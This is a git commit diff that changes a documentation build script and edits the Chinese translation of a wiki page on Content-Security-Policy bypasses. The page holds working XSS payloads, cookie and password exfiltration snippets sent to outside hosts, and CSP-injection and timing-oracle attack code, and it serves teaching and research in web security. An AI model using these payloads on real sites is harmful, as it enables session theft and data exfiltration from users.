Translated ['src/generic-methodologies-and-resources/external-recon-meth

This commit is contained in:
Translator 2025-01-27 16:55:11 +00:00
parent d5f1a537f4
commit bb0ab9b7e0
2 changed files with 37 additions and 34 deletions

View File

@ -78,6 +78,9 @@ def ref(matchobj):
sys.exit(1)
if href.endswith("/README.md"):
href = href.replace("/README.md", "/index.html")
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})

View File

@ -20,7 +20,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
CSP 可以通过以下头部进行强制执行或监控:
- `Content-Security-Policy`: 强制执行 CSP浏览器阻止任何违规行为。
- `Content-Security-Policy`: 强制执行 CSP浏览器阻止任何违规行为。
- `Content-Security-Policy-Report-Only`: 用于监控;报告违规行为而不阻止它们。非常适合在预生产环境中进行测试。
### Defining Resources
@ -107,7 +107,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
有效的有效载荷: `"/><script>alert(1);</script>`
#### 通过 Iframes 的 self + 'unsafe-inline'
#### self + 'unsafe-inline' 通过 Iframes
{{#ref}}
csp-bypass-self-+-unsafe-inline-with-iframes.md
@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
### strict-dynamic
如果你能以某种方式使一个**允许的 JS 代码创建一个新的脚本标签**在 DOM 中,并且是由允许的脚本创建的,那么**新的脚本标签将被允许执行**。
如果你能以某种方式使一个**被允许的 JS 代码创建一个新的 script 标签**在 DOM 中,并且是由一个被允许的脚本创建的,那么**新的 script 标签将被允许执行**。
### Wildcard (\*)
```yaml
@ -159,11 +159,11 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
然而,服务器**正在验证上传的文件**,只允许您**上传特定类型的文件**,这很可能
然而,服务器**正在验证上传的文件**,只允许您**上传特定类型的文件**。
此外即使您能够使用服务器接受的扩展名_script.png_在文件中上传**JS代码**这也不够因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名因此它不会以**MIME类型如audio/**提供它。
此外即使您能够使用服务器接受的扩展名_script.png_在文件中上传**JS代码**这也不够因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名因此它不会以**MIME类型如audio/***提供它。
从这里开始如果您发现XSS和文件上传并且您设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多重格式文件([这里有一些多重格式示例](https://github.com/Polydet/polyglot-database))。
从这里开始,如果您发现XSS和文件上传并且您设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多重格式文件([这里有一些多重格式示例](https://github.com/Polydet/polyglot-database))。
### Form-action
@ -172,7 +172,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
### 第三方端点 + ('unsafe-eval')
> [!WARNING]
> 对于以下某些有效负载**`unsafe-eval`甚至不需要**。
> 对于以下某些有效负载**`unsafe-eval`甚至不需要**。
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
@ -262,7 +262,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### 利用 www.google.com 进行开放重定向
以下 URL 重定向到 example.com (来自 [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
以下 URL 重定向到 example.com (来自 [这里](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
@ -290,12 +290,12 @@ https://www.youtube.com/oembed?callback=alert;
### 第三方滥用
如[以下帖子](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)所述,许多第三方域名可能在CSP中被允许可以被滥用以提取数据或执行JavaScript代码。这些第三方中的一些是
如[以下帖子](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)所述许多第三方域名可能在CSP中被允许可以被滥用以提取数据或执行JavaScript代码。这些第三方中的一些是
| 实体 | 允许的域名 | 能力 |
| ----------------- | ------------------------------------------ | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
@ -329,11 +329,11 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
于前表中指定的其他七个第三方域,还有许多其他方法可以滥用它们。有关其他第三方滥用的更多解释,请参阅之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。
于前表中指定的其他七个第三方域,还有许多其他方法可以滥用它们。有关其他第三方滥用的更多解释,请参阅之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。
### 通过 RPO相对路径覆盖绕过 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
除了上述重定向以绕过路径限制外还有一种称为相对路径覆盖RPO的技术可以在某些服务器上使用。
除了上述重定向以绕过路径限制外还有一种称为相对路径覆盖RPO的技术可以在某些服务器上使用。
例如,如果 CSP 允许路径 `https://example.com/scripts/react/`,则可以通过以下方式绕过:
```html
@ -370,7 +370,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
一个特定的政策称为内容安全政策 (CSP) 可能会限制 JavaScript 事件。然而AngularJS 引入了自定义事件作为替代。在事件中AngularJS 提供了一个独特的对象 `$event`,引用原生浏览器事件对象。这个 `$event` 对象可以被利用来绕过 CSP。值得注意的是在 Chrome 中,`$event/event` 对象具有一个 `path` 属性,包含一个对象数组,涉及事件的执行链,`window` 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。
通过将这个数组传递给 `orderBy` 过滤器,可以对其进行迭代,利用终端元素(`window` 对象)触发一个全局函数,如 `alert()`。下面的代码片段演示了这个过程:
通过将这个数组传递给 `orderBy` 过滤器,可以对其进行迭代,利用终端元素(`window` 对象)触发一个全局函数,如 `alert()`。下面的代码片段阐明了这个过程:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
从: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
您还可以利用此配置来**加载插入在图像中的javascript代码**。例如如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像****上传**到Twitter并利用“**unsafe-inline**”来**执行**一段JS代码作为常规XSS该代码将**加载**该**图像****提取**其中的**JS**并**执行**它:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
您还可以利用此配置来**加载插入在图像中的javascript代码**。例如如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像****将其上传**到Twitter并利用“**unsafe-inline**”来**执行**一段JS代码作为常规XSS该代码将**加载**该**图像****提取**其中的**JS**并**执行**它:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### 使用服务工作者
@ -462,25 +462,25 @@ Image().src='http://PLAYER_SERVER/?'+_)
#### Chrome
如果您发送的**参数**被**粘贴到****策略的声明**中,那么您可以以某种方式**更改**该**策略**使其**无效**。您可以通过以下任何绕过方法**允许脚本 'unsafe-inline'**
如果您发送的**参数**被**粘贴到****策略的声明**中,那么您可以以某种方式**更改**该**策略**,使其**无效**。您可以使用以下任何绕过方法**允许脚本 'unsafe-inline'**
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
因为这个指令将**覆盖现有的script-src指令**。\
您可以在这里找到一个示例:[http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
因为这个指令将**覆盖现有的 script-src 指令**。\
你可以在这里找到一个例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Edge中要简单得多。如果您可以在CSP中添加这个**`;_`** **Edge**将**丢弃**整个**策略**。\
示例:[http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
Edge 中更简单。如果你可以在 CSP 中添加这个: **`;_`** **Edge** 将会**丢弃**整个**策略**。\
例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; 通过XSSiframe- 时间攻击
### img-src \*; 通过 XSS (iframe) - 时间攻击
注意缺少指令`'unsafe-inline'`\
这次您可以让受害者通过**XSS**使用`<iframe`加载一个您控制的页面。这次您将让受害者访问您想要提取信息的页面(**CSRF**)。您无法访问页面的内容,但如果您能够**控制页面加载所需的时间**,您可以提取所需的信息。
注意缺少指令 `'unsafe-inline'`\
这次你可以让受害者通过 **XSS** 使用一个 `<iframe` 加载一个在**你控制**下的页面。这次你将让受害者访问你想要提取信息的页面 (**CSRF**)。你无法访问页面的内容,但如果你能**控制页面加载所需的时间**,你可以提取所需的信息。
这次将提取一个**标志**每当通过SQLi**正确猜测一个字符**时,**响应**由于睡眠函数而**花费更多时间**。然后,您将能够提取标志:
这次将提取一个**标志**,每当通过 SQLi **正确猜测一个字符**时,**响应**由于 sleep 函数会**花费更多时间**。然后,你将能够提取标志:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -542,13 +542,13 @@ run()
```
### 通过书签小程序
此攻击将涉及一些社会工程学,攻击者**说服用户将链接拖放到浏览器的书签小程序上**。此书签小程序将包含**恶意的javascript**代码,当拖放或点击时,将在当前网页窗口的上下文中执行,**绕过CSP并允许窃取敏感信息**例如cookies或tokens。
此攻击将涉及一些社会工程学,攻击者**说服用户将链接拖放到浏览器的书签小程序上**。此书签小程序将包含**恶意的javascript**代码,当拖放或点击时,将在当前网页窗口的上下文中执行,**绕过CSP并允许窃取敏感信息**例如cookies或tokens。
有关更多信息,请[**查看原始报告**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
### 通过限制CSP绕过CSP
在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中,CSP通过在允许的iframe内注入更严格的CSP来绕过该CSP不允许加载特定的JS文件然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本加载任意脚本**。
在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中通过在允许的iframe内注入更严格的CSP来绕过CSP该CSP不允许加载特定的JS文件然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本加载任意脚本**。
您可以使用**`csp`**属性**限制iframe的CSP**
```html
@ -579,7 +579,7 @@ document.querySelector("DIV").innerHTML =
```
### 利用CSP和Iframe泄露信息
- 创建一个指向URL的`iframe`(我们称之为`https://example.redirect.com`该URL被CSP允许。
- 创建一个指向一个URL的`iframe`(我们称之为`https://example.redirect.com`该URL被CSP允许。
- 该URL随后重定向到一个秘密URL例如`https://usersecret.example2.com`该URL在CSP中**不被允许**。
- 通过监听`securitypolicyviolation`事件,可以捕获`blockedURI`属性。该属性揭示了被阻止的URI的域名从而泄露了初始URL重定向的秘密域名。
@ -589,24 +589,24 @@ document.querySelector("DIV").innerHTML =
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
通过监控哪些请求被CSP阻止或允许可以缩小秘密子域名中可能的字符范围最终揭示完整的URL。
通过监控CSP阻止或允许的请求可以缩小秘密子域名中可能的字符范围最终揭示完整的URL。
这两种方法利用了CSP在浏览器中的实现和行为的细微差别展示了看似安全的策略如何无意中泄露敏感信息。
Trick from [**here**](https://ctftime.org/writeup/29310).
来自[**这里**](https://ctftime.org/writeup/29310)的技巧。
## 不安全的技术以绕过CSP
## 绕过CSP的危险技术
### 当参数过多时的PHP错误
根据[**这个视频中评论的最后一技术**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)发送过多参数1001个GET参数尽管你也可以使用POST参数和超过20个文件。在PHP网页代码中定义的任何**`header()`**都**不会被发送**,因为这将触发错误。
根据[**这个视频中评论的最后一技术**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)发送过多参数1001个GET参数尽管你也可以使用POST参数和超过20个文件。在PHP网页代码中定义的任何**`header()`**都**不会被发送**,因为这将触发错误。
### PHP响应缓冲区溢出
PHP默认情况下**将响应缓冲到4096**字节。因此如果PHP显示警告通过提供**足够的数据在警告中****响应**将在**CSP头**之前**发送**,导致头被忽略。\
然后,这技术基本上是**用警告填充响应缓冲区**以便CSP头不被发送。
然后,这技术基本上是**用警告填充响应缓冲区**以便CSP头不被发送。
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
来自[**这个写作**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)的想法。
### 重写错误页面
@ -619,13 +619,13 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME是一种利用XSS或高度限制的XSS**在页面的一个端点**中**滥用****同一源的其他端点**的技术。这是通过从攻击者页面加载易受攻击的端点,然后将攻击者页面刷新到您想要滥用的同一源的真实端点来实现。这样,**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问**要滥用的**真实端点的DOM**。有关更多信息,请查看:
SOME是一种利用XSS或高度限制的XSS**在页面的一个端点**中**滥用****同一源的其他端点。** 这通过从攻击者页面加载易受攻击的端点,然后将攻击者页面刷新到您想要滥用的同一源的真实端点来实现。这样,**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问**要滥用的**真实端点的DOM**。有关更多信息,请查看:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
此外,**wordpress**在`/wp-json/wp/v2/users/1?_jsonp=data`中有一个**JSONP**端点,该端点将**反射**输出中发送的**数据**(仅限字母、数字和点的限制)。
此外,**wordpress**在`/wp-json/wp/v2/users/1?_jsonp=data`中有一个**JSONP**端点,该端点将**反射**发送的**数据**(仅限字母、数字和点)。
攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`中,请注意这个**脚本**将被**加载**,因为它是**被'self'允许的**。此外由于安装了WordPress攻击者可能会通过**易受攻击的****回调**端点滥用**SOME攻击**,该端点**绕过CSP**以给予用户更多权限,安装新插件...\
有关如何执行此攻击的更多信息,请查看[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)